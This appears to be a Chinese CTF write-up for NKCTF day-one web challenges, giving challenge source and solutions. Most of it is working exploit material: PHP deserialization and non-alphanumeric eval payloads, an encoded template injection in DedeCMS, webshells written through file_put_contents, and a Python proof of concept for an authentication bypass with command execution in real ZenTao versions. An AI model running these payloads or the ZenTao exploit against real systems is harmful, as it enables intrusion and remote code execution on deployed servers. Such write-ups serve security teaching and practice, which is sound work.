NKCTF day1 Web wp
baby_php
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
反序列化利用链
Welcome::__destruct->Hell0::__toString->Happy::__invoke
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg;
}
class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$t=new Welcome();
$t->name="welcome_to_NKCTF";
$t->arg=new Hell0();
$t->arg->func=new Happy();
$t->arg->func->shell="system";
$t->arg->func->cmd="dir /";
echo serialize($t);
O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:{s:4:"func";O:5:"Happy":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}
得到flag在/f1ag
$t->arg->func->shell="strtolower";
$t->arg->func->cmd="show_source(chr(47).chr(102).chr(49).chr(97).chr(103));";
得到flag
eazy_php
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
if(isset($_GET['NS_CTF.go'])){
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?>
exp
POST /?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1 HTTP/1.1
Host: 2ec5bcf1-bc48-4fb9-87a5-87e90432a5b5.node2.yuzhian.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1278
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1+0+obj%0A%3C%3C%2FWidth+2+0+R%2FHeight+3+0+R%2FType+4+0+R%2FSubtype+5+0+R%2FFilter+6+0+R%2FColorSpace+7+0+R%2FLength+8+0+R%2FBitsPerComponent+8%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1+is+dead%21%21%21%21%21%85%2F%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2%2F%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1+0+obj%0A%3C%3C%2FWidth+2+0+R%2FHeight+3+0+R%2FType+4+0+R%2FSubtype+5+0+R%2FFilter+6+0+R%2FColorSpace+7+0+R%2FLength+8+0+R%2FBitsPerComponent+8%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1+is+dead%21%21%21%21%21%85%2F%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr%2F%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
hard_php
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['NKCTF'])) {
$NK = $_POST['NKCTF'];
if (is_string($NK)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
eval($NK);
}else{
echo("hacker!!!");
}
}else{
phpinfo();
}
}
?>
NKCTF=$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[_]($$_[__],$$_[___]);&_=file_put_contents&__=1.php&___=<?php eval($_GET[1]);
url编码提交，生成一句话木马
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}扫描根目录
include('/flag');
获得flag
webpagetest
easy_pms
禅道rce
# -*- coding: UTF-8 -*-
# !/usr/bin/python
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
# url="http://10.211.55.3:8008"
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data2 = "SCM=Subversion&client=`cat /flag|sed -n "2p"`"
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
print(req4.text)
if 'uid=' in req4.text:
print(url,"")
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://dc912a38-6159-4e0b-a04f-e4bd85432d8b.node2.yuzhian.com.cn/"))
easy_cms
/dede admin admin登录
模板管理 index.html加{dede:field name='source' runphp='yes'}base64_decode("ZmlsZV9wdXRfY29udGVudHM=")(base64_decode("MS5waHA="),base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs="));{/dede:field}
生成一句话木马
1.php get参数1执行命令
